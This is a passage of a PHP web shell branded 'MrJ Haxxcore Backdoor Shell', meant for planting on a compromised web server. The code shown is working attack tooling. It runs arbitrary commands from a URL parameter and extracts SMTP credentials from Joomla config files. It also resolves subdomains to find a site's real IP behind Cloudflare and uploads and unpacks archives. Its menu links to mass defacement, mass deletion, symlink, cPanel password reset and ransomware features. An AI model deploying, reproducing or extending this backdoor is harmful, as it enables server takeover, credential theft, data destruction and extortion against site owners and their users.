class=\"form-control\" value=\"'.\$dir.'\"/>\r\n\t\t\t\t</div>\r\n\t\t\t\t<input type=\"submit\" name=\"encrypt\" class=\"btn btn-danger btn-block\" value=\"Encrypt\"/>\r\n\t\t\t</div>\r\n\t\t</form>';\r\n\t}\r\n\texit;\r\n}\r\nfunction scj(\$dir){\r\n\t\$dirs = scandir(\$dir);\r\n\tforeach(\$dirs as \$dirb){\r\n\t\tif(!is_file(\"\$dir/\$dirb\")) continue;\r\n\t\t\$ambil = file_get_contents(\"\$dir/\$dirb\");\r\n\t\t\$ambil = str_replace(\"\$\", \"\", \$ambil);\r\n\t\tif(preg_match(\"/JConfig|joomla/\", \$ambil)){\r\n\t\t\t\$smtp_host = ambilkata(\$ambil,\"smtphost = '\",\"'\");\r\n\t\t\t\$smtp_auth = ambilkata(\$ambil,\"smtpauth = '\",\"'\");\r\n\t\t\t\$smtp_user = ambilkata(\$ambil,\"smtpuser = '\",\"'\");\r\n\t\t\t\$smtp_pass = ambilkata(\$ambil,\"smtppass = '\",\"'\");\r\n\t\t\t\$smtp_port = ambilkata(\$ambil,\"smtpport = '\",\"'\");\r\n\t\t\t\$smtp_secure = ambilkata(\$ambil,\"smtpsecure = '\",\"'\");\r\n\t\t\techo \"<table class='text-white table table-bordered'>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td>SMTP Host: \$smtp_host</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td>SMTP Port: \$smtp_port</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td>SMTP User: \$smtp_user</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td>SMTP Pass: \$smtp_pass</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td>SMTP Auth: \$smtp_auth</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td>SMTP Secure: \$smtp_secure</td>\r\n\t\t\t\t</tr>\r\n\t\t\t</table>\";\r\n\t\t}\r\n\t}\r\n\techo \"<p class='text-muted'>NB: This tool works if it's run in a folder <u>config</u> ( ex: /home/user/public_html/namafolder_config )</p>\";\r\n\texit;\r\n}\r\nfunction bypasscf(){\r\n\techo '<form method=\"POST\">\r\n\t\t<h5 class=\"text-center mb-3\">Bypass Cloud Flare</h5>\r\n\t\t<div class=\"form-group input-group\">\r\n\t\t\t<select class=\"form-control\" name=\"idsPilih\">\r\n\t\t\t\t<option>Choose Methods</option>\r\n\t\t\t\t<option>ftp</option>\r\n\t\t\t\t<option>direct-conntect</option>\r\n\t\t\t\t<option>webmail</option>\r\n\t\t\t\t<option>cpanel</option>\r\n\t\t\t</select>\r\n\t\t</div>\r\n\t\t<div class=\"form-group input-group mb-4\">\r\n\t\t\t<input class=\"form-control\" type=\"text\" name=\"target\" placeholder=\"Target URL\">\r\n\t\t\t<input class=\"btn btn-danger form-control\" type=\"submit\" value=\"Bypass\">\r\n\t\t</div>\r\n\t</form>';\r\n\t\$target = \$_POST['target'];\r\n\tif(\$_POST['idsPilih'] == \"ftp\"){\r\n\t\t\$ftp = gethostbyname(\"ftp.\".\"\$target\");\r\n\t\techo \"<p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct \r\n\t\tip is : </font><font face='Tahoma' size='3' color='#F68B1F'>\$ftp</font></p>\";\r\n\t}\r\n\tif(\$_POST['idsPilih'] == \"direct-conntect\"){\r\n\t\t\$direct = gethostbyname(\"direct-connect.\".\"\$target\");\r\n\t\techo \"<br><p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct \r\n\t\tip is : </font><font face='Tahoma' size='3' color='#F68B1F'>\$direct</font></p>\";\r\n\t}\r\n\tif(\$_POST['idsPilih'] == \"webmail\"){\r\n\t\t\$web = gethostbyname(\"webmail.\".\"\$target\");\r\n\t\techo \"<br><p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct \r\n\t\tip is : </font><font face='Tahoma' size='3' color='#F68B1F'>\$web</font></p>\";\r\n\t}\r\n\tif(\$_POST['idsPilih'] == \"cpanel\"){\r\n\t\t\$cpanel = gethostbyname(\"cpanel.\".\"\$target\");\r\n\t\techo \"<br><p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct \r\n\t\tip is : </font><font face='Tahoma' size='3' color='#F68B1F'>\$cpanel</font></p>\";\r\n\t}\r\n\texit;\r\n}\r\nfunction zipMenu(\$dir,\$file){\r\n\t//Compress/Zip\r\n\t\$exzip = basename(\$dir).'.zip';\r\n\tfunction Zip(\$source, \$destination){\r\n\t\tif (extension_loaded('zip') === true){\r\n\t\t\tif (file_exists(\$source) === true){\r\n\t\t\t\t\$zip = new ZipArchive();\r\n\t\t\t\tif (\$zip->open(\$destination, ZIPARCHIVE::CREATE) === true){\r\n\t\t\t\t\t\$source = realpath(\$source);\r\n\t\t\t\t\tif (is_dir(\$source) === true){\r\n\t\t\t\t\t\t\$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator(\$source), RecursiveIteratorIterator::SELF_FIRST);\r\n\t\t\t\t\t\tforeach (\$files as \$file){\r\n\t\t\t\t\t\t\t\$file = realpath(\$file);\r\n\t\t\t\t\t\t\tif (is_dir(\$file) === true){\r\n\t\t\t\t\t\t\t\t// \$zip->addEmptyDir(str_replace(\$source . '/', '', \$file . '/'));\r\n\t\t\t\t\t\t\t}elseif(is_file(\$file) === true){\r\n\t\t\t\t\t\t\t\t\$zip->addFromString(str_replace(\$source . '/', '', \$file), file_get_contents(\$file));\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}elseif(is_file(\$source) === true){\r\n\t\t\t\t\t\t\$zip->addFromString(basename(\$source), file_get_contents(\$source));\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\treturn @\$zip->close();\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn false;\r\n\t}\r\n\t//Extract/Unzip\r\n\tfunction Zip_Extrack(\$zip_files, \$to_dir){\r\n\t\t\$zip = new ZipArchive();\r\n\t\t\$res = \$zip->open(\$zip_files);\r\n\t\tif (\$res === TRUE){\r\n\t\t\t\$name = basename(\$zip_files, \".zip\").\"_unzip\";\r\n\t\t\t@mkdir(\$name);\r\n\t\t\t@\$zip->extractTo(\$to_dir.\"/\".\$name); \r\n\t\t\treturn @\$zip->close();\r\n\t\t}else{\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}\r\n\techo '<div class=\"card card-body text-dark mb-4\">\r\n\t\t<h4 class=\"text-center\">Zip Menu</h3>\r\n\t\t<form enctype=\"multipart/form-data\" method=\"post\">\r\n\t\t\t<div class=\"form-group\">\r\n\t\t\t\t<label>Zip File:</label>\r\n\t\t\t\t<div class=\"custom-file\">\r\n\t\t\t\t\t<input type=\"file\" name=\"zip_file\" class=\"custom-file-input\" id=\"customFile\">\r\n\t\t\t\t\t<label class=\"custom-file-label\" for=\"customFile\">Choose file</label>\r\n\t\t\t\t</div>\r\n\t\t\t\t<input type=\"submit\" name=\"upnun\" class=\"btn btn-danger btn-block mt-3\" value=\"Upload & Unzip\"/>\r\n\t\t\t</div>\r\n\t\t</form>';\r\n\t\tif(\$_POST[\"upnun\"]){\r\n\t\t\t\$filename = \$_FILES[\"zip_file\"][\"name\"];\r\n\t\t\t\$tmp = \$_FILES[\"zip_file\"][\"tmp_name\"];\r\n\t\t\tif(move_uploaded_file(\$tmp, \"\$dir/\$filename\")){\r\n\t\t\t\techo Zip_Extrack(\$filename, \$dir);\r\n\t\t\t\tunlink(\$filename);\r\n\t\t\t\t\$swa = \"Success\";\r\n\t\t\t\t\$text = \"Extract Zip Successfully\";\r\n\t\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t\t}else{\r\n\t\t\t\techo \"<b>Failed</b>\";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo \"<div class='row'><div class='col-md-6 mb-3'><h5>Zip Backup</h5>\r\n\t\t<form method='post'>\r\n\t\t\t<label>Folder</label>\r\n\t\t\t<input type='text' name='folder' class='form-control mb-3' value='\$dir'>\r\n\t\t\t<input type='submit' name='backup' class='btn btn-danger btn-block' value='Backup!'>\r\n\t\t</form>\";\r\n\t\tif(\$_POST['backup']){\r\n\t\t\t\$fol = \$_POST['folder'];\r\n\t\t\tif(Zip(\$fol, \$_POST[\"folder\"].'/'.\$exzip)){\r\n\t\t\t\t\$swa = \"Success\";\r\n\t\t\t\t\$text = \"Successfully Zipped\";\r\n\t\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t\t}else{\r\n\t\t\t\techo \"<b>Failed</b>\";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo \"</div>\r\n\t\t<div class='col-md-6'><h5>Unzip Manual</h5>\r\n\t\t<form action='' method='post'>\r\n\t\t\t<label>Zip Location:</label>\r\n\t\t\t<input type='text' name='file_zip' class='form-control mb-3' value='\$dir/\$exzip'>\r\n\t\t\t<input type='submit' name='extrak' class='btn btn-danger btn-block' value='Unzip!'>\r\n\t\t</form>\";\r\n\t\tif(\$_POST['extrak']){\r\n\t\t\t\$zip = \$_POST[\"file_zip\"];\r\n\t\t\tif (Zip_Extrack(\$zip, \$dir)){\r\n\t\t\t\t\$swa = \"Success\";\r\n\t\t\t\t\$text = \"Extract Zip Successfully\";\r\n\t\t\t\tswall(\$swa,\$text,\$dir);\r\n\t\t\t}else{\r\n\t\t\t\techo \"<b>Failed</b>\";\r\n\t\t\t}\r\n\t\t}\r\n\techo '</div></div></div>';\r\n}\r\n?>\r\n<html>\r\n\t<head>\r\n\t\t<meta name=\"viewport\" content=\"widht=device-widht, initial-scale=1\"/>\r\n\t\t<meta name=\"theme-color\" content=\"#343a40\"/>\r\n\t\t<meta name=\"author\" content=\"Holiq\"/>\r\n\t\t<meta name=\"copyright\" content=\"{ AngkolVen }\"/>\r\n\t\t<link rel=\"icon\" type=\"image/png\" href=\"https://webstockreview.net/images/clipart-arrows-bone-8.png\"/>\r\n\t\t<title>{ MrJhaxcore Bypass Shell }</title>\r\n\t\t<link rel=\"stylesheet\" href=\"pojan/assets/css/bootstrap.min.css\">\r\n\t\t<link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css\"/>\r\n\t\t<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.2/css/all.min.css\"/>\r\n\t\t<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css\"/>\r\n\t\t<script src=\"https://code.jquery.com/jquery-3.3.1.js\"></script>\r\n\t\t<script src=\"https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js\"></script>\r\n\t\t<script src=\"https://cdn.jsdelivr.net/npm/sweetalert2@8.18.0/dist/sweetalert2.all.min.js\"></script>\r\n\t</head>\r\n\t<body class=\"bg-dark text-light\">\r\n\t\t<script>\r\n\t\t\t\$(document).ready(function(){\r\n\t\t\t\t\$(window).scroll(function(){\r\n\t\t\t\t\tif (\$(this).scrollTop() > 700){\r\n\t\t\t\t\t\t\$(\".scrollToTop\").fadeIn();\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\$(\".scrollToTop\").fadeOut();\r\n\t\t\t\t\t}\r\n\t\t\t\t});\r\n\t\t\t\t\$(\".scrollToTop\").click(function(){\r\n\t\t\t\t\t\$(\"html, body\").animate({scrollTop : 0},1000);\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t});\r\n\t\t\t});\r\n\t\t\t\$(document).ready(function(){\r\n\t\t\t\t\$('input[type=\"file\"]').on(\"change\", function(){\r\n\t\t\t\t\tlet filenames = [];\r\n\t\t\t\t\tlet files = document.getElementById(\"customFile\").files;\r\n\t\t\t\t\tif (files.length > 1){\r\n\t\t\t\t\t\tfilenames.push(\"Total Files (\" + files.length + \")\");\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\tfor (let i in files){\r\n\t\t\t\t\t\t\tif (files.hasOwnProperty(i)){\r\n\t\t\t\t\t\t\t\tfilenames.push(files[i].name);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\$(this).next(\".custom-file-label\").html(filenames.join(\",\"));\r\n\t\t\t\t});\r\n\t\t\t});\r\n\t\t\tvar max_fields = 5;\r\n\t\t\tvar x = 1;\r\n\t\t\t\$(document).on('click', '#add_input', function(e){\r\n\t\t\t\tif(x < max_fields){\r\n\t\t\t\t\tx++;\r\n\t\t\t\t\t\$('#output').append('<div class=\\\"input-group\\ form-group\\ text-dark\\\" id=\\\"out\\\"><input type=\\\"text\\\" class=\\\"form-control\\\" name=\\\"nama_file[]\\\" placeholder=\\\"Name File...\\\"><div class=\\\"input-group-prepend\\ remove\\\"><div class=\\\"input-group-text\\\"><a href=\"#\" class=\"text-dark\"><i class=\\\"fa fa-minus\\\"></i></a></div></div></div>');\r\n\t\t\t\t}\r\n\t\t\t\t\$('#output').on(\"click\",\".remove\", function(e){\r\n\t\t\t\t\te.preventDefault(); \$(this).parent('#out').remove(); x--;\r\n\t\t\t\t\trepeat();\r\n\t\t\t\t})\r\n\t\t\t});\r\n\t\t\t\$(document).on('click', '#add_input1', function(e){\r\n\t\t\t\tif(x < max_fields){\r\n\t\t\t\t\tx++;\r\n\t\t\t\t\t\$('#output1').append('<div class=\\\"input-group\\ form-group\\ text-dark\\\" id=\\\"out\\\"><input type=\\\"text\\\" class=\\\"form-control\\\" name=\\\"nama_folder[]\\\" placeholder=\\\"Nama Folder...\\\"><div class=\\\"input-group-prepend\\ remove\\\"><div class=\\\"input-group-text\\\"><a href=\"#\" class=\"text-dark\"><i class=\\\"fa fa-minus\\\"></i></a></div></div></div>');\r\n\t\t\t\t}\r\n\t\t\t\t\$('#output1').on(\"click\",\".remove\", function(e){\r\n\t\t\t\t\te.preventDefault(); \$(this).parent('#out').remove(); x--;\r\n\t\t\t\t\trepeat();\r\n\t\t\t\t})\r\n\t\t\t});\r\n\t\t\t\r\n\t\t</script>\r\n\t\t<style>\r\n\t\t\t@import url(https://fonts.googleapis.com/css?family=Lato);\r\n\t\t\t@import url(https://fonts.googleapis.com/css?family=Quicksand);\r\n\t\t\t@import url(https://fonts.googleapis.com/css?family=Inconsolata);\r\n\t\t\t@media(min-width:767px){.scrollToTop{display:none !important;}}\r\n\t\t\t@media(max-width:767px){textarea{font-size:13px !important;}}\r\n\t\t\tinput[type=\"text\"],textarea {font-family: \"Inconsolata\", monospace;}\r\n\t\t\tbody{margin:0;padding:0;font-family:\"Lato\";overscroll-behavior:none;}\r\n\t\t\t.infor{font-size:14px;color:#333!important;}\r\n\t\t\t.ds{color:#f00!important;word-wrap:break-word;}\r\n\t\t\t#tab table thead th{padding:5px;font-size:16px;white-space: nowrap;}\r\n\t\t\t#tab tr {border-bottom:1px solid #ccc;}\r\n\t\t\t#tab tr:hover{background:#5B6F7D;color:#fff;}\r\n\t\t\t#tab tr td{padding:5px 10px;white-space:nowrap;}\r\n\t\t\t.pinggir{text-align:left !important; padding-left: 4px !important;}\r\n\t\t\t#tab tr td .badge{font-size:13px;}\r\n\t\t\t.active,.active:hover{color:#00FF00;}\r\n\t\t\ta {font-family:\"Quicksand\"; color:white;}\r\n\t\t\ta:hover{color:dodgerBlue;}\r\n\t\t\t.badge{width:30px;transition:.3s;}\r\n\t\t\t.badge:hover{transform: scale(1.1);transition:.3s;}\r\n\t\t\t.ico {width:25px;}\r\n\t\t\t.ico2{width:30px;}\r\n\t\t\t.scrollToTop{\r\n\t\t\t\tposition:fixed;\r\n\t\t\t\tbottom:30px;\r\n\t\t\t\tright:30px;\r\n\t\t\t\twidth:35px;\r\n\t\t\t\theight:35px;\r\n\t\t\t\tbackground:#262626;\r\n\t\t\t\tcolor:#fff;\r\n\t\t\t\tborder-radius:15%;\r\n\t\t\t\ttext-align:center;\r\n\t\t\t\topacity:.5;\r\n\t\t\t}\r\n\t\t\t.scrollToTop:hover{color:#fff;}\r\n\t\t\t.up{font-size:25px;line-height:35px;}\r\n\t\t\t.lain{color:#888888;font-size:20px;margin-left:5px;top:1px;}\r\n\t\t\t.lain:hover{color:#fff;}\r\n\t\t\t.tambah{\r\n\t\t\t\twidth:35px;\r\n\t\t\t\theight:35px;\r\n\t\t\t\tline-height:35px;\r\n\t\t\t\tborder:1px solid;\r\n\t\t\t\tborder-radius:50%;\r\n\t\t\t\ttext-align:center;\r\n\t\t\t}\r\n\t\t\t.fiture{margin:3px;}\r\n\t\t\t.tmp th {font-size:14px;}\r\n\t\t\t.tmp tr td{border:solid 1px #BBBBBB;text-align:center;font-size:13px;padding:2px 5px;}\r\n\t\t\t.tmp tr:hover{background:#5B6F7D; color:#fff;}\r\n\t\t\t.about{color:#000;}\r\n\t\t\t.about .card-body .img{\r\n\t\t\t\tposition: relative;\r\n\t\t\t\tbackground: url(https://i.postimg.cc/Wb1X4xNS/image.png);\r\n\t\t\t\tbackground-size: cover;\r\n\t\t\t\twidth: 150px;\r\n\t\t\t\theight: 150px;\r\n\t\t\t}\r\n\t\t\t.butn {\r\n\t\t\t\tposition: relative;\r\n\t\t\t\ttext-align: center;\r\n\t\t\t\tpadding: 3px;\r\n\t\t\t\tbackground:rgba(225,225,225,.3);\r\n\t\t\t\t-webkit-transition: background 300ms ease, color 300ms ease;\r\n\t\t\t\ttransition: background 300ms ease, color 300ms ease;\r\n\t\t\t}\r\n\t\t\tinput[type=\"radio\"].toggle {display:none;}\r\n\t\t\tinput[type=\"radio\"].toggle + label {cursor:pointer;margin:0 2px;width:60px;}\r\n\t\t\tinput[type=\"radio\"].toggle + label:after {\r\n\t\t\t\tposition: absolute;\r\n\t\t\t\tcontent: \"\";\r\n\t\t\t\ttop: 0;\r\n\t\t\t\tbackground: #fff;\r\n\t\t\t\theight: 100%;\r\n\t\t\t\twidth: 100%;\r\n\t\t\t\tz-index: -1;\r\n\t\t\t\t-webkit-transition: left 400ms cubic-bezier(0.77, 0, 0.175, 1);\r\n\t\t\t\ttransition: left 400ms cubic-bezier(0.77, 0, 0.175, 1);\r\n\t\t\t}\r\n\t\t\tinput[type=\"radio\"].toggle.toggle-left + label:after {left:100%;}\r\n\t\t\tinput[type=\"radio\"].toggle.toggle-right + label {margin-left:-5px;}\r\n\t\t\tinput[type=\"radio\"].toggle.toggle-right + label:after {left:-100%;}\r\n\t\t\tinput[type=\"radio\"].toggle:checked + label {cursor:default;color:#000;-webkit-transition:color 400ms;transition: color 400ms;}\r\n\t\t\tinput[type=\"radio\"].toggle:checked + label:after {left:0;}\r\n\t\t</style>\r\n\t\t<nav class=\"navbar static-top navbar-dark\">\r\n\t\t\t\t</ul>\r\n\t\t\t</div>\r\n\t\t</nav>\r\n\t\t<?php\r\n\t\techo '<div class=\"container\">\r\n\t\t\t<h1 class=\"text-center\">\r\n\t\t\t<meta name=\"theme-color\" content=\"#800000\"/>\r\n\t\t\t<br>\r\n\t\t\t<a href=\"https://facebook.com/botnetmaster1337\" style=\"color:#fffff;\"><strong>[ MrJ Haxxcore Backdoor Shell ]</h1>\r\n\t\t\t<center><h5> Strong || Invisible</a></h5></center></strong>\r\n\t\t\t<hr/>\r\n\t\t\t<div class=\"text-center\">\r\n\t\t\t\t<div class=\"d-flex justify-content-center flex-wrap\">\r\n\t\t\t\t\t<a href=\"?\" class=\"fiture btn btn-danger btn-sm\"><i class=\"fa fa-home\"></i> Home</a>\r\n\t\t\t\t\t<a href=\"?dir='.\$dir.'&aksi=upload\" class=\"fiture btn btn-danger btn-sm\"><i class=\"fa fa-upload\"></i> Upload</a>\r\n\t\t\t\t\t<a href=\"?dir='.\$dir.'&aksi=for_file\" class=\"fiture btn btn-danger btn-sm\"><i class=\"fa fa-plus-circle\"></i> Create File</a>\r\n\t\t\t\t\t<a href=\"?dir='.\$dir.'&aksi=for_folder\" class=\"fiture btn btn-danger btn-sm\"><i class=\"fa fa-plus\"></i> Make Folder</a>\r\n\t\t\t\t\t<a href=\"?dir='.\$dir.'&aksi=masdef\" class=\"fiture btn btn-danger btn-sm\"><i class=\"fa fa-exclamation-triangle\"></i> Mass Deface</a>\r\n\t\t\t\t\t<a href=\"?dir='.\$dir.'&aksi=masdel\" class=\"fiture btn btn-danger btn-sm\"><i class=\"fa fa-trash\"></i> Mass Delete</a>\r\n\t\t\t\t\t<a href=\"?dir='.\$dir.'&aksi=jumping\" class=\"fiture btn btn-danger btn-sm\"><i class=\"fa fa-exclamation-triangle\"></i> Jumping</a>\r\n\t\t\t\t\t<a href=\"?dir='.\$dir.'&aksi=config\" class=\"fiture btn btn-danger btn-sm\"><i class=\"fa fa-cogs\"></i> Config</a>\r\n\t\t\t\t\t<a href=\"?dir='.\$dir.'&aksi=adminer\" class=\"fiture btn btn-danger btn-sm\"><i class=\"fa fa-user\"></i> Adminer</a>\r\n\t\t\t\t\t<a href=\"?dir='.\$dir.'&aksi=symlink\" class=\"fiture btn btn-danger btn-sm\"><i class=\"fa fa-exclamation-circle\"></i> Symlink</a>\r\n\t\t\t\t\t<a href=\"?dir='.\$dir.'&aksi=bctools\" class=\"fiture btn btn-danger btn-sm\"><i class=\"fas fa-network-wired\"></i> Network</a>\r\n\t\t\t\t\t<a href=\"?dir='.\$dir.'&aksi=resetpasscp\" class=\"fiture btn btn-warning btn-sm\"><i class=\"fa fa-key\"></i> Auto Reset Cpanel</a>\r\n\t\t\t\t\t<a href=\"?dir='.\$dir.'&aksi=auteduser\" class=\"fiture btn btn-warning btn-sm\"><i class=\"fas fa-user-edit\"></i> Auto Edit User</a>\r\n\t\t\t\t\t<a href=\"?dir='.\$dir.'&aksi=ransom\" class=\"fiture btn btn-warning btn-sm\"><i class=\"fab fa-keycdn\"></i> Ransomware</a>\r\n\t\t\t\t\t<a href=\"?dir='.\$dir.'&aksi=smtpgrab\" class=\"fiture btn btn-warning btn-sm\"><i class=\"fas fa fa-exclamation-circle\"></i> SMTP Grabber</a>\r\n\t\t\t\t\t<a href=\"?dir='.\$dir.'&aksi=bypascf\" class=\"fiture btn btn-warning btn-sm\"><i class=\"fas fa-cloud\"></i> Bypass Cloud Flare</a>\r\n\t\t\t\t\t<a href=\"?dir='.\$dir.'&aksi=zip_menu\" class=\"fiture btn btn-warning btn-sm\"><i class=\"fa fa-file-archive-o\"></i> Zip Menu</a>\r\n\t\t\r\n\t\t\t\t\t<a href=\"?keluar\" class=\"fiture btn btn-warning btn-sm\"><i class=\"fa fa-sign-out\"></i> Logout</a>\r\n\t\t\t\t</div>\r\n\t\t\t</div>\r\n\t\t\t<div class=\"row\">\r\n\t\t\t\t<div class=\"col-md-5\"><br/>\r\n\t\t\t\t\t<h5><i class=\"fa fa-terminal\"></i>Terminal : </h5>\r\n\t\t\t\t\t<form>\r\n\t\t\t\t\t\t<input type=\"text\" class=\"form-control\" name=\"cmd\" autocomplete=\"off\" placeholder=\"id | uname -a | whoami |\">\r\n\t\t\t\t\t</form>\r\n\t\t\t\t\t<hr/>\r\n\t\t\t\t\t<h5><i class=\"fa fa-search\"></i> Information : </h5>\r\n\t\t\t\t\t<div class=\"card table-responsive\">\r\n\t\t\t\t\t\t<div class=\"card-body\">\r\n\t\t\t\t\t\t\t<table class=\"table infor\">\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>PHP</td>\r\n\t\t\t\t\t\t\t\t\t<td> : '.\$ver.'</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>IP Server</td>\r\n\t\t\t\t\t\t\t\t\t<td> : '.\$ip.'</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>HDD</td>\r\n\t\t\t\t\t\t\t\t\t<td class=\"d-flex\">Total : '.formatSize(\$total).' Free : '.formatSize(\$free).' ['.\$pers.'%]</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>Domain</td>\r\n\t\t\t\t\t\t\t\t\t<td>: '.\$dom.'</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>MySQL</td>\r\n\t\t\t\t\t\t\t\t\t<td>: '.\$mysql.'</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>cURL</td>\r\n\t\t\t\t\t\t\t\t\t<td>: '.\$curl.'</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>Mailer</td>\r\n\t\t\t\t\t\t\t\t\t<td>: '.\$mail.'</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>Disable Function</td>\r\n\t\t\t\t\t\t\t\t\t<td>: '.\$show_ds.'</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>Software</td>\r\n\t\t\t\t\t\t\t\t\t<td>: '.\$sof.'</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t<td>Operating System</td>\r\n\t\t\t\t\t\t\t\t\t<td> : '.\$os.'</td>\r\n\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t</table>\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t</div><hr/>\r\n\t\t\t\t</div>\r\n\t\t\t<div class=\"col-md-7 mt-4\">';\r\n\t\t\t\t//keluar\r\n\t\t\t\tif (isset(\$_GET['keluar'])){\r\n\t\t\t\t\tsession_start();\r\n\t\t\t\t\tsession_destroy();\r\n\t\t\t\t\techo '<script>window.location=\"?\";</script>';\r\n\t\t\t\t}\r\n\t\t\t\t//cmd\r\n\t\t\t\tif(isset(\$_GET['cmd'])){\r\n\t\t\t\t\techo \"<pre class='text-white'>\".exe(\$_GET['cmd']).\"</pre>\";\r\n\t\t\t\t\texit;\r\n\t\t\t\t}\r\n\t\t\t\t//about\r\n\t\t\t\tif (isset(\$_GET['about'])){\r\n\t\t\t\t\tabout();\r\n\t\t\t\t}\r\n\t\t\t\t//upload\r\n\t\t\t\tif (\$_GET['aksi'] == 'upload'){\r\n\t\t\t\t\taksiUpload(\$dir);\r\n\t\t\t\t}\r\n\t\t\t\t//openfile\r\n\t\t\t\t\tif (isset(\$_GET['file'])){\r\n\t\t\t\t\t\$file = \$_GET['file'];\r\n\t\t\t\t}\r\n\t\t\t\t\$nfile = basename(\$file);\r\n\t\t\t\t//chmod\r\n\t\t\t\tif(\$_GET['aksi'] == 'chmod_file'){\r\n\t\t\t\t\tchmodFile(\$dir,\$file,\$nfile);\r\n\t\t\t\t}\r\n\t\t\t\t//for_file\r\n\t\t\t\tif (\$_GET['aksi'] == 'for_file'){\r\n\t\t\t\t\tforFile(\$dir,\$imgfile);\r\n\t\t\t\t}\r\n\t\t\t\t//view\r\n\t\t\t\tif(\$_GET['aksi'] == 'view'){\r\n\t\t\t\t\tview(\$dir,\$file,\$nfile,\$imgfile);\r\n\t\t\t\t}\r\n\t\t\t\t//edit\r\n\t\t\t\tif(\$_GET['aksi'] == 'edit'){\r\n\t\t\t\t\teditFile(\$dir,\$file,\$nfile,\$imgfile);\r\n\t\t\t\t}\r\n\t\t\t\t//rename\r\n\t\t\t\tif(\$_GET['aksi'] == 'rename'){\r\n\t\t\t\t\trenameFile(\$dir,\$file,\$nfile,\$imgfile);\r\n\t\t\t\t}\r\n\t\t\t\t//Delete File\r\n\t\t\t\tif (\$_GET['aksi'] == 'hapusf'){\r\n\t\t\t\t\thapusFile(\$dir,\$file,\$nfile);\r\n\t\t\t\t}\r\n\t\t\t\t\$ndir = basename(\$dir);\r\n\t\t\t\t//chmod\r\n\t\t\t\tif(\$_GET['aksi'] == 'chmod_dir'){\r\n\t\t\t\t\tchmodFolder(\$dir,\$ndir);\r\n\t\t\t\t}\r\n\t\t\t\t//Add Folder\r\n\t\t\t\tif (\$_GET['aksi'] == 'for_folder' ){\r\n\t\t\t\t\tforFolder(\$dir,\$imgfol);\r\n\t\t\t\t}\r\n\t\t\t\t//Rename Folder\r\n\t\t\t\tif (\$_GET['aksi'] == 'rename_folder' ){\r\n\t\t\t\t\trenameFolder(\$dir,\$ndir,\$imgfol);\r\n\t\t\t\t}\r\n\t\t\t\t//Delete Folder\r\n\t\t\t\tif (\$_GET['aksi'] == 'hapus_folder' ){\r\n\t\t\t\t\tdeleteFolder(\$dir,\$ndir);\r\n\t\t\t\t}\r\n\t\t\r\n\t\t\t\t/*\r\n\t\t\t\t\t* Fungsi_Tambahan\r\n\t\t\t\t\t*\r\n\t\t\t\t\t*\r\n\t\t\t\t\t* Mass Deface\r\n\t\t\t\t\t* IndoXploit\r\n\t\t\t\t*/\r\n\t\t\t\tif(\$_GET['aksi'] == 'masdef'){\r\n\t\t\t\t\taksiMasdef(\$dir,\$file,\$imgfol,\$imgfile);\r\n\t\t\t\t}\r\n\t\t\t\t/*\r\n\t\t\t\t\t* mass delete\r\n\t\t\t\t\t* IndoXploit\r\n\t\t\t\t*/\r\n\t\t\t\tif(\$_GET['aksi'] == 